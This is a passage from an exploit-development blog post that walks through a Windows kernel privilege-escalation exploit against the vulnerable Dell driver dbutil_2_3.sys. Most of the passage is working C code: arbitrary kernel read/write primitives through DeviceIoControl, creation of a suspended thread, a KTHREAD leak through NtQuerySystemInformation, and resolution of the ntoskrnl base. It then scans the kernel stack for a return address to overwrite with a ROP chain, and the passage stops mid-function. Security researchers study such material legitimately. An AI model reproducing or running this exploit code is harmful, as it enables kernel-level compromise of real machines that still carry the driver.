#define STATUS_SUCCESS 0x00000000

Let’s also outline our - read64() and write64(). These functions give us an arbitrary read/write primitive (I won’t expand on these. See the blog post related to the vulnerability for more information.

read64():

ULONG64 read64(HANDLE inHandle, ULONG64 WHAT)
{
	//
	// Buffer to send to the driver (read primitive)
	//
	ULONG64 inBuf[4] = { 0 };

	//
	// Values to send
	//
	ULONG64 one = 0x4141414141414141;
	ULONG64 two = WHAT;
	ULONG64 three = 0x0000000000000000;
	ULONG64 four = 0x0000000000000000;

	//
	// Assign the values
	//
	inBuf[0] = one;
	inBuf[1] = two;
	inBuf[2] = three;
	inBuf[3] = four;

	//
	// Interact with the driver
	//
	DWORD bytesReturned = 0;

	BOOL interact = DeviceIoControl(
		inHandle,
		IOCTL_READ_CODE,
		&inBuf,
		sizeof(inBuf),
		&inBuf,
		sizeof(inBuf),
		&bytesReturned,
		NULL
	);

	//
	// Error handling
	//
	if (!interact)
	{
		//
		// Bail out
		//
		goto exit;

	}
	else
	{
		//
		// Return the QWORD
		//
		return inBuf[3];
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Close the handle before exiting
	//
	CloseHandle(
		inHandle
	);

	//
	// Return an error
	//
	return (ULONG64)1;
}

write64():

BOOL write64(HANDLE inHandle, ULONG64 WHERE, ULONG64 WHAT)
{
	//
	// Buffer to send to the driver (write primitive)
	//
	ULONG64 inBuf1[4] = { 0 };

	//
	// Values to send
	//
	ULONG64 one1 = 0x4141414141414141;
	ULONG64 two1 = WHERE;
	ULONG64 three1 = 0x0000000000000000;
	ULONG64 four1 = WHAT;

	//
	// Assign the values
	//
	inBuf1[0] = one1;
	inBuf1[1] = two1;
	inBuf1[2] = three1;
	inBuf1[3] = four1;

	//
	// Interact with the driver
	//
	DWORD bytesReturned1 = 0;

	BOOL interact = DeviceIoControl(
		inHandle,
		IOCTL_WRITE_CODE,
		&inBuf1,
		sizeof(inBuf1),
		&inBuf1,
		sizeof(inBuf1),
		&bytesReturned1,
		NULL
	);

	//
	// Error handling
	//
	if (!interact)
	{
		//
		// Bail out
		//
		goto exit;

	}
	else
	{
		//
		// Return TRUE
		//
		return TRUE;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Close the handle before exiting
	//
	CloseHandle(
		inHandle
	);

	//
	// Return FALSE (arbitrary write failed)
	//
	return FALSE;
}

Now that we have our primitives established, we start off by obtaining a handle to the driver in order to communicate with it. We will need to supply this value for our read/write primitives.

HANDLE getHandle(void)
{
	//
	// Obtain a handle to the driver
	//
	HANDLE driverHandle = CreateFileA(
		"\\\\.\\DBUtil_2_3",
		FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
		0x0,
		NULL,
		OPEN_EXISTING,
		0x0,
		NULL
	);

	//
	// Error handling
	//
	if (driverHandle == INVALID_HANDLE_VALUE)
	{
		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// Return the driver handle
		//
		return driverHandle;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an invalid handle
	//
	return (HANDLE)-1;
}

We can invoke this function in main().

/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */
int main(void)
{
	//
	// Invoke getHandle() to get a handle to dbutil_2_3.sys
	//
	HANDLE driverHandle = getHandle();

	//
	// Error handling
	//
	if (driverHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p\n", driverHandle);

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return 1;
}

After obtaining the handle, we then can setup our “dummy thread” by creating a thread in a suspended state. This is the thread we will perform our exploit work in. This can be achieved via CreateThread (again, the key here is to create this thread in a suspended state. More on this later).

/**
 * @brief Function used to create a "dummy thread"
 *
 * This function creates a "dummy thread" that is suspended.
 * This allows us to leak the kernel-mode stack of this thread.
 *
 * @param Void.
 * @return A handle to the "dummy thread"
 */
HANDLE createdummyThread(void)
{
	//
	// Invoke CreateThread
	//
	HANDLE dummyThread = CreateThread(
		NULL,
		0,
		(LPTHREAD_START_ROUTINE)randomFunction,
		NULL,
		CREATE_SUSPENDED,
		NULL
	);

	//
	// Error handling
	//
	if (dummyThread == (HANDLE)-1)
	{
		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// Return the handle to the thread
		//
		return dummyThread;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an invalid handle
	//
	return (HANDLE)-1;
}

You’ll see that our createdummyThread function returns a handle to the “dummy thread”. Notice that the LPTHREAD_START_ROUTINE for the thread goes to randomFunction, which we also can define. This thread will never actually execute this function via its entry point, so we will just supply a simple function which does “nothing”.

We then can call createdummyThread within main() to execute the call. This will create our “dummy thread”.

/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */
int main(void)
{
	//
	// Invoke getHandle() to get a handle to dbutil_2_3.sys
	//
	HANDLE driverHandle = getHandle();

	//
	// Error handling
	//
	if (driverHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p\n", driverHandle);

	//
	// Invoke getthreadHandle() to create our "dummy thread"
	//
	HANDLE getthreadHandle = createdummyThread();

	//
	// Error handling
	//
	if (getthreadHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't create the \"dummy thread\". Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Created the \"dummy thread\"!\n");

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return 1;
}

Now we have a thread that is running in a suspended state and a handle to the driver.

Since we have a suspended thread running now, the goal currently is to leak the KTHREAD object associated with this thread, which is the kernel-mode representation of the thread. We can achieve this by invoking NtQuerySystemInformation. The first thing we need to do is add the structures required by NtQuerySystemInformation and then prototype this function, as we will need to resolve it via GetProcAddress. For this I just add a header file named ntdll.h - which will contain this prototype (and more structures coming up shortly).

#include <Windows.h>
#include <Psapi.h>

typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemBasicInformation,
    SystemProcessorInformation,
    SystemPerformanceInformation,
    SystemTimeOfDayInformation,
    SystemPathInformation,
    SystemProcessInformation,
    SystemCallCountInformation,
    SystemDeviceInformation,
    SystemProcessorPerformanceInformation,
    SystemFlagsInformation,
    SystemCallTimeInformation,
    SystemModuleInformation,
    SystemLocksInformation,
    SystemStackTraceInformation,
    SystemPagedPoolInformation,
    SystemNonPagedPoolInformation,
    SystemHandleInformation,
    SystemObjectInformation,
    SystemPageFileInformation,
    SystemVdmInstemulInformation,
    SystemVdmBopInformation,
    SystemFileCacheInformation,
    SystemPoolTagInformation,
    SystemInterruptInformation,
    SystemDpcBehaviorInformation,
    SystemFullMemoryInformation,
    SystemLoadGdiDriverInformation,
    SystemUnloadGdiDriverInformation,
    SystemTimeAdjustmentInformation,
    SystemSummaryMemoryInformation,
    SystemMirrorMemoryInformation,
    SystemPerformanceTraceInformation,
    SystemObsolete0,
    SystemExceptionInformation,
    SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation,
    SystemContextSwitchInformation,
    SystemRegistryQuotaInformation,
    SystemExtendServiceTableInformation,
    SystemPrioritySeperation,
    SystemVerifierAddDriverInformation,
    SystemVerifierRemoveDriverInformation,
    SystemProcessorIdleInformation,
    SystemLegacyDriverInformation,
    SystemCurrentTimeZoneInformation,
    SystemLookasideInformation,
    SystemTimeSlipNotification,
    SystemSessionCreate,
    SystemSessionDetach,
    SystemSessionInformation,
    SystemRangeStartInformation,
    SystemVerifierInformation,
    SystemVerifierThunkExtend,
    SystemSessionProcessInformation,
    SystemLoadGdiDriverInSystemSpace,
    SystemNumaProcessorMap,
    SystemPrefetcherInformation,
    SystemExtendedProcessInformation,
    SystemRecommendedSharedDataAlignment,
    SystemComPlusPackage,
    SystemNumaAvailableMemory,
    SystemProcessorPowerInformation,
    SystemEmulationBasicInformation,
    SystemEmulationProcessorInformation,
    SystemExtendedHandleInformation,
    SystemLostDelayedWriteInformation,
    SystemBigPoolInformation,
    SystemSessionPoolTagInformation,
    SystemSessionMappedViewInformation,
    SystemHotpatchInformation,
    SystemObjectSecurityMode,
    SystemWatchdogTimerHandler,
    SystemWatchdogTimerInformation,
    SystemLogicalProcessorInformation,
    SystemWow64SharedInformation,
    SystemRegisterFirmwareTableInformationHandler,
    SystemFirmwareTableInformation,
    SystemModuleInformationEx,
    SystemVerifierTriageInformation,
    SystemSuperfetchInformation,
    SystemMemoryListInformation,
    SystemFileCacheInformationEx,
    MaxSystemInfoClass

} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 w018;
    WORD                 NameOffset;
    BYTE                 Name[256];
} SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    ULONG ProcessId;
    UCHAR ObjectTypeNumber;
    UCHAR Flags;
    USHORT Handle;
    void* Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

// Prototype for ntdll!NtQuerySystemInformation
typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);

Invoking NtQuerySystemInformation is a mechanism that allows us to leak the KTHREAD object - so we will not go over each of these structures in-depth. However, it is worthwhile to talk about NtQuerySystemInformation itself.

NtQuerySystemInformation is a function which can be invoked from a medium-integrity process. More specifically there are specific “classes” from the SYSTEM_INFORMATION_CLASS enum that aren’t available to low-integrity or AppContainer processes - such as browser sandboxes. So, in this case, you would need a genuine information leak. However, since we are assuming medium integrity (this is the default integrity level Windows processes use), we will leverage NtQuerySystemInformation.

We first create a function which resolves NtQuerySystemInformation.

/**
 * @brief Function to resolve ntdll!NtQuerySystemInformation.
 *
 * This function is used to resolve ntdll!NtQuerySystemInformation.
 * ntdll!NtQuerySystemInformation allows us to leak kernel-mode
 * memory, useful to our exploit, to user mode from a medium
 * integrity process.
 *
 * @param Void.
 * @return A pointer to ntdll!NtQuerySystemInformation.

 */
NtQuerySystemInformation_t resolveFunc(void)
{
	//
	// Obtain a handle to ntdll.dll (where NtQuerySystemInformation lives)
	//
	HMODULE ntdllHandle = GetModuleHandleW(L"ntdll.dll");

	//
	// Error handling
	//
	if (ntdllHandle == NULL)
	{
		// Bail out
		goto exit;
	}

	//
	// Resolve ntdll!NtQuerySystemInformation
	//
	NtQuerySystemInformation_t func = (NtQuerySystemInformation_t)GetProcAddress(
		ntdllHandle,
		"NtQuerySystemInformation"
	);

	//
	// Error handling
	//
	if (func == NULL)
	{
		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// Print update
		//
		printf("[+] ntdll!NtQuerySystemInformation: 0x%p\n", func);

		//
		// Return the address
		//
		return func;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return (NtQuerySystemInformation_t)1;
}

After resolving the function, we can add a function which contains our “logic” for leaking the KTHREAD object associated with our “dummy thread”. This function will call leakKTHREAD - which accepts a parameter, which is the thread for which we want to leak the object (in this case it is our “dummy thread”). This is done by leveraging the SystemHandleInformation class (which is blocked from low-integrity processes). From here we can enumerate all handles that are thread objects on the system. Specifically, we check all thread objects in our current process for the handle of our “dummy thread”.

/**
 * @brief Function used to leak the KTHREAD object
 *
 * This function leverages NtQuerySystemInformation (by
 * calling resolveFunc() to get NtQuerySystemInformation's
 * location in memory) to leak the KTHREAD object associated
 * with our previously created "dummy thread"
 *
 * @param dummythreadHandle - A handle to the "dummy thread"
 * @return A pointer to the KTHREAD object
 */
ULONG64 leakKTHREAD(HANDLE dummythreadHandle)
{
	//
	// Set the NtQuerySystemInformation return value to STATUS_INFO_LENGTH_MISMATCH for call to NtQuerySystemInformation
	//
	NTSTATUS retValue = STATUS_INFO_LENGTH_MISMATCH;

	//
	// Resolve ntdll!NtQuerySystemInformation
	//
	NtQuerySystemInformation_t NtQuerySystemInformation = resolveFunc();

	//
	// Error handling
	//
	if (NtQuerySystemInformation == (NtQuerySystemInformation_t)1)
	{
		//
		// Print update
		//
		printf("[-] Error! Unable to resolve ntdll!NtQuerySystemInformation. Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Set size to 1 and loop the call until we reach the needed size
	//
	int size = 1;

	//
	// Output size
	//
	int outSize = 0;

	//
	// Output buffer
	//
	PSYSTEM_HANDLE_INFORMATION out = (PSYSTEM_HANDLE_INFORMATION)malloc(size);

	//
	// Error handling
	//
	if (out == NULL)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// do/while to allocate enough memory necessary for NtQuerySystemInformation
	//
	do
	{
		//
		// Free the previous memory
		//
		free(out);

		//
		// Increment the size
		//
		size = size * 2;

		//
		// Allocate more memory with the updated size
		//
		out = (PSYSTEM_HANDLE_INFORMATION)malloc(size);

		//
		// Error handling
		//
		if (out == NULL)
		{
			//
			// Bail out
			//
			goto exit;
		}

		//
		// Invoke NtQuerySystemInformation
		//
		retValue = NtQuerySystemInformation(
			SystemHandleInformation,
			out,
			(ULONG)size,
			&outSize
		);
	} while (retValue == STATUS_INFO_LENGTH_MISMATCH);

	//
	// Verify the NTSTATUS code which broke the loop is STATUS_SUCCESS
	//
	if (retValue != STATUS_SUCCESS)
	{
		//
		// Is out == NULL? If so, malloc failed and we can't free this memory
		// If it is NOT NULL, we can assume this memory is allocated. Free
		// it accordingly
		//
		if (out != NULL)
		{
			//
			// Free the memory
			//
			free(out);

			//
			// Bail out
			//
			goto exit;
		}

		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// NtQuerySystemInformation should have succeeded
		// Parse all of the handles, find the current thread handle, and leak the corresponding object
		//
		for (ULONG i = 0; i < out->NumberOfHandles; i++)
		{
			//
			// Store the current object's type number
			// Thread object = 0x8
			//
			DWORD objectType = out->Handles[i].ObjectTypeNumber;

			//
			// Are we dealing with a handle from the current process?
			//
			if (out->Handles[i].ProcessId == GetCurrentProcessId())
			{
				//
				// Is the handle the handle of the "dummy" thread we created?
				//
				if (dummythreadHandle == (HANDLE)out->Handles[i].Handle)
				{
					//
					// Grab the actual KTHREAD object corresponding to the current thread
					//
					ULONG64 kthreadObject = (ULONG64)out->Handles[i].Object;

					//
					// Free the memory
					//
					free(out);

					//
					// Return the KTHREAD object
					//
					return kthreadObject;
				}
			}
		}
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Close the handle to the "dummy thread"
	//
	CloseHandle(
		dummythreadHandle
	);

	//
	// Return the NTSTATUS error
	//
	return (ULONG64)retValue;
}

Here is how our main() function looks now:

/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */
int main(void)
{
	//
	// Invoke getHandle() to get a handle to dbutil_2_3.sys
	//
	HANDLE driverHandle = getHandle();

	//
	// Error handling
	//
	if (driverHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p\n", driverHandle);

	//
	// Invoke getthreadHandle() to create our "dummy thread"
	//
	HANDLE getthreadHandle = createdummyThread();

	//
	// Error handling
	//
	if (getthreadHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't create the \"dummy thread\". Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Created the \"dummy thread\"!\n");

	//
	// Invoke leakKTHREAD()
	//
	ULONG64 kthread = leakKTHREAD(getthreadHandle);

	//
	// Error handling (Negative value? NtQuerySystemInformation returns a negative NTSTATUS if it fails)
	//
	if ((!kthread & 0x80000000) == 0x80000000)
	{
		//
		// Print update
		// kthread is an NTSTATUS code if execution reaches here
		//
		printf("[-] Error! Unable to leak the KTHREAD object of the \"dummy thread\". Error: 0x%llx\n", kthread);

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Error handling (kthread isn't negative - but is it a kernel-mode address?)
	//
	else if ((!kthread & 0xffff00000000000) == 0xffff00000000000 || ((!kthread & 0xfffff00000000000) == 0xfffff00000000000))
	{
		//
		// Print update
		// kthread is an NTSTATUS code if execution reaches here
		//
		printf("[-] Error! Unable to leak the KTHREAD object of the \"dummy thread\". Error: 0x%llx\n", kthread);

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] \"Dummy thread\" KTHREAD object: 0x%llx\n", kthread);

	//
	// getchar() to pause execution
	//
	getchar();

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return 1;
}

You’ll notice in the above code we have added a getchar() call - which will keep our .exe running after the KTHREAD object is leaked. After running the .exe, we can see we leaked the KTHREAD object of our “dummy thread” at 0xffffa50f0fdb8080. Using WinDbg we can parse this address as a KTHREAD object.

We have now successfully located the KTHREAD object associated with our “dummy” thread.

From KTHREAD Leak To Arbitrary Kernel-Mode API Calls

With our KTHREAD leak, we can also use the !thread WinDbg extension to reveal the call stack for this thread.

You’ll notice the function nt!KiApcInterrupt is a part of this kernel-mode call stack for our “dummy thread”. What is this?

Recall that our “dummy thread” is in a suspended state. When a thread is created on Windows, it first starts out running in kernel-mode. nt!KiStartUserThread is responsible for this (and we can see this in our call stack). This eventually results in nt!PspUserThreadStartup being called - which is the initial thread routine, according to Windows Internals Part 1: 7th Edition. Here is where things get interesting.

After the thread is created, the thread is then put in its “suspended state”. A suspended thread, on Windows, is essentially a thread which has an APC queued to it - with the APC “telling the thread” to “do nothing”. An APC is a way to “tack on” some work to a given thread, when the thread is scheduled to execute. What is interesting is that queuing an APC causes an interrupt to be issued. An interrupt is essentially a signal that tells a processor something requires immediate attention. Each processor has a given interrupt request level, or IRQL, in which it is running. APCs get processed in an IRQL level known as APC_LEVEL, or 1. IRQL values span from 0 - 31 - but usually the most “common” ones are PASSIVE_LEVEL (0), APC_LEVEL (1), or DISPATCH_LEVEL (2). Normal user-mode and kernel-mode code run at PASSIVE_LEVEL. What is interesting is that when the IRQL of a processor is at 1, for instance (APC_LEVEL), only interrupts that can be processed at a higher IRQL can interrupt the processor. So, if the processor is running at an IRQL of APC_LEVEL, kernel-mode/user-mode code wouldn’t run until the processor is brought back down to PASSIVE_LEVEL.

The function that is called directly before nt!KiApcInterrupt in our call stack is, as mentioned, nt!PspUserThreadStartup - which is the “initial thread routine”. If we examine this return address nt!PspUserThreadStartup + 0x48, we can see the following.

The return address contains the instruction mov rsi, gs:188h. This essentially will load gs:188h (the GS segment register, when in kernel-mode, points to the KPCR structure, which, at an offset of 0x180 points to the KPRCB structure. This structure contains a pointer to the current thread at an offset of 0x8 - so 0x180 + 0x8 = 0x188. This means that gs:188h points to the current thread).

When a function is called, a return address is placed onto the stack. What a return address actually is, is the address of the next instruction. You can recall in our IDA screenshot that since mov rsi, gs:188h is the instruction of the return address, this instruction must have been the “next” instruction to be executed when it was pushed onto the stack. What this means is that whatever the instruction before mov rsi, gs:188h was caused the “function call” - or change in control-flow - to ntKiApcInterrupt. This means the instruction before, mov cr8, r15 was responsible for this. Why is this important?

Control registers are a per-processor register. The CR8 control register manages the current IRQL value for a given processor. So, what this means is that whatever is in R15 at the time of this instruction contains the IRQL that the current processor is executing at. How can we know what level this is? All we have to do is look at our call stack again!

The function that was called after nt!PspUserThreadStartup was nt!KiApcInterrupt. As the name insinuates, the function is responsible for an APC interrupt! We know APC interrupts are processed at IRQL APC_LEVEL - or 1. However, we also know that only interrupts which are processed at a higher IRQL than the current processors’ IRQL level can cause the processor to be interrupted.

Since we can obviously see that an APC interrupt was dispatched, we can confirm that the processor must have been executing at IRQL 0, or PASSIVE_LEVEL - which allowed the APC interrupt to occur. This again, comes back to the fact that queuing an APC causes an interrupt. Since APCs are processed at IRQL APC_LEVEL (1), the processor must be executing at PASSIVE_LEVEL (0) in order for an interrupt for an APC to be issued.

If we look at return address - we can see nt!KiApcInterrupt+0x328 (TrapFrame @ ffffa385bba350a0) contains a trap frame - which is basically a representation of the state of execution when an interrupt takes place. If we examine this trap frame - we can see that RIP was executing the instruction after the mov cr8, r15 instruction - which changes the processor where the APC interrupt was dispatched - meaning that when nt!PspUserThreadStartup executed - it allowed the processor to start allowing things like APCs to interrupt execution!

We can come to the conclusion that nt!KiApcInterrupt was executed as a result of the mov cr8, r15 instruction from nt!PspUserThreadStartup - which lowered the current processors’ IRQL level to PASSIVE_LEVEL (0). Since APCs are processed in APC_LEVEL (1), this allowed the interrupt to occur - because the processor was executing at a lower IRQL before the interrupt was issued.

The point of examining this is to understand the fact that an interrupt basically occurred, as a result of the APC being queued on our “dummy” thread. This APC is telling the thread basically to “do nothing” - which is essentially what a suspended thread is. Here is where this comes into play for us.

When this thread is resumed, the thread will return from the nt!KiApcInterrupt function. So, what we can do is we can overwrite the return address on the stack for nt!KiApcInterrtupt with the address of a ROP gadget (the return address on this system used for this blog post is nt!KiApcInterrupt + 0x328 - but that could be subject to change). Then, when we resume the thread eventually (which can be done from user mode) - nt!KiApcInterrupt will return and it will use our ROP gadget as the return address. This will allow us to construct a ROP chain which will allow us to call arbitrary kernel-mode APIs! The key, first, is to use our leaked KTHREAD object and parse the StackBase member - using our arbitrary read primitive - to locate the stack (where this return address lives). To do this, we will being the prototype for our final “exploit” function titled constructROPChain().

Notice the last parameter our function receives - ULONG64 ntBase. Since we are going to be using ROP gadgets from ntoskrnl.exe, we need to locate the base address of ntoskrnl.exe in order to resolve our needed ROP gadgets. So, this means that we also need a function which resolves the base of ntoskrnl.exe using EnumDeviceDrivers. Here is how we instrument this functionality.

/**
 * @brief Function used resolve the base address of ntoskrnl.exe.
 * @param Void.
 * @return ntoskrnl.exe base
 */
ULONG64 resolventBase(void)
{
	//
	// Array to receive kernel-mode addresses
	//
	LPVOID* lpImageBase = NULL;

	//
	// Size of the input array
	//
	DWORD cb = 0;

	//
	// Size of the array output (all load addresses).
	//
	DWORD lpcbNeeded = 0;

	//
	// Invoke EnumDeviceDrivers (and have it fail)
	// to receive the needed size of lpImageBase
	//
	EnumDeviceDrivers(
		lpImageBase,
		cb,
		&lpcbNeeded
	);

	//
	// lpcbNeeded should contain needed size
	//
	lpImageBase = (LPVOID*)malloc(lpcbNeeded);

	//
	// Error handling
	//
	if (lpImageBase == NULL)
	{
		//
		// Bail out
		// 
		goto exit;
	}

	//
	// Assign lpcbNeeded to cb (cb needs to be size of the lpImageBase
	// array).
	//
	cb = lpcbNeeded;

	//
	// Invoke EnumDeviceDrivers properly.
	//
	BOOL getAddrs = EnumDeviceDrivers(
		lpImageBase,
		cb,
		&lpcbNeeded
	);

	//
	// Error handling
	//
	if (!getAddrs)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// The first element of the array is ntoskrnl.exe.
	//
	return (ULONG64)lpImageBase[0];

//
// Execution reaches here if an error occurs
//
exit:

	//
	// Return an error.
	//
	return (ULONG64)1;
}

The above function called resolventBase() returns the base address of ntoskrnl.exe (this type of enumeration couldn’t be done in a low-integrity process. Again, we are assuming medium integrity). This value can then be passed in to our constructROPChain() function.

If we examine the contents of a KTHREAD structure, we can see that StackBase is located at an offset of 0x38 within the KTHREAD structure. This means we can use our arbitrary read primitive to leak the stack address of the KTHREAD object by dereferencing this offset.

We then can update main() to resolve ntoskrnl.exe and to leak our kernel-mode stack (while leaving getchar() to confirm we can leak the stack before letting the process which houses our “dummy thread” terminate.

/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */
int main(void)
{
	//
	// Invoke getHandle() to get a handle to dbutil_2_3.sys
	//
	HANDLE driverHandle = getHandle();

	//
	// Error handling
	//
	if (driverHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p\n", driverHandle);

	//
	// Invoke getthreadHandle() to create our "dummy thread"
	//
	HANDLE getthreadHandle = createdummyThread();

	//
	// Error handling
	//
	if (getthreadHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't create the \"dummy thread\". Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Created the \"dummy thread\"!\n");

	//
	// Invoke leakKTHREAD()
	//
	ULONG64 kthread = leakKTHREAD(getthreadHandle);

	//
	// Error handling (Negative value? NtQuerySystemInformation returns a negative NTSTATUS if it fails)
	//
	if ((!kthread & 0x80000000) == 0x80000000)
	{
		//
		// Print update
		// kthread is an NTSTATUS code if execution reaches here
		//
		printf("[-] Error! Unable to leak the KTHREAD object of the \"dummy thread\". Error: 0x%llx\n", kthread);

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Error handling (kthread isn't negative - but is it a kernel-mode address?)
	//
	else if ((!kthread & 0xffff00000000000) == 0xffff00000000000 || ((!kthread & 0xfffff00000000000) == 0xfffff00000000000))
	{
		//
		// Print update
		// kthread is an NTSTATUS code if execution reaches here
		//
		printf("[-] Error! Unable to leak the KTHREAD object of the \"dummy thread\". Error: 0x%llx\n", kthread);

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] \"Dummy thread\" KTHREAD object: 0x%llx\n", kthread);

	//
	// Invoke resolventBase() to retrieve the load address of ntoskrnl.exe
	//
	ULONG64 ntBase = resolventBase();

	//
	// Error handling
	//
	if (ntBase == (ULONG64)1)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// Invoke constructROPChain() to build our ROP chain and kick off execution
	//
	BOOL createROP = constructROPChain(driverHandle, getthreadHandle, kthread, ntBase);

	//
	// Error handling
	//
	if (!createROP)
	{
		//
		// Print update
		//
		printf("[-] Error! Unable to construct the ROP chain. Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// getchar() to pause execution
	//
	getchar();

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return 1;
}

After running the exploit (in its current state) we can see that we successfully leaked the stack for our “dummy thread” - located at 0xffffa385b8650000.

Recall also that the stack grows towards the lower memory addresses - meaning that the stack base won’t actually have (usually) memory paged in/committed. Instead, we have to start going “up” the stack (by going down - since the stack grows towards the lower memory addresses) to see the contents of the “dummy thread’s” stack.

Putting all of this together, we can extend the contents of our constructROPChain() function to search our dummy thread’s stack for the target return address of nt!KiApcInterrupt + 0x328. nt!KiApcInterrupt + 0x328 is located at an offset of 0x41b718 on the version of Windows 11 I am testing this exploit on.

/**
 * @brief Function used write a ROP chain to the kernel-mode stack
 *
 * This function takes the previously-leaked KTHREAD object of
 * our "dummy thread", extracts the StackBase member of the object
 * and writes the ROP chain to the kernel-mode stack leveraging the
 * write64() function.
 *
 * @param inHandle - A valid handle to the dbutil_2_3.sys.
 * @param dummyThread - A valid handle to our "dummy thread" in order to resume it.
 * @param KTHREAD - The KTHREAD object associated with the "dummy" thread.
 * @param ntBase - The base address of ntoskrnl.exe.
 * @return Result of the operation in the form of a boolean.
 */
BOOL constructROPChain(HANDLE inHandle, HANDLE dummyThread, ULONG64 KTHREAD, ULONG64 ntBase)
{
	//
	// KTHREAD.StackBase = KTHREAD + 0x38
	//
	ULONG64 kthreadstackBase = KTHREAD + 0x38;

	//
	// Dereference KTHREAD.StackBase to leak the stack
	//
	ULONG64 stackBase = read64(inHandle, kthreadstackBase);

	//
	// Error handling
	//
	if (stackBase == (ULONG64)1)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Leaked kernel-mode stack: 0x%llx\n", stackBase);

	//
	// Variable to store our target return address for nt!KiApcInterrupt
	//
	ULONG64 retAddr = 0;

	//
	// Leverage the arbitrary write primitive to read the entire contents of the stack (seven pages = 0x7000)
	// 0x7000 isn't actually commited, so we start with 0x7000-0x8, since the stack grows towards the lower
	// addresses.
	//
	for (int i = 0x8; i < 0x7000 - 0x8; i += 0x8)
	{
		//
		// Invoke read64() to dereference the stack
		//
		ULONG64 value = read64(inHandle, stackBase - i);

		//
		// Kernel-mode address?
		//
		if ((value & 0xfffff00000000000) == 0xfffff00000000000)
		{
			//
			// nt!KiApcInterrupt+0x328?
			//
			if (value == ntBase + 0x41b718)
			{
				//
				// Print update
				//
				printf("[+] Leaked target return address of nt!KiApcInterrupt!\n");

				//
				// Store the current value of stackBase - i, which is nt!KiApcInterrupt+0x328
				//
				retAddr = stackBase - i;

				//
				// Break the loop if we find our address
				//
				break;
			}
		}

		//
		// Reset the value
		//
		value = 0;
	}

	//
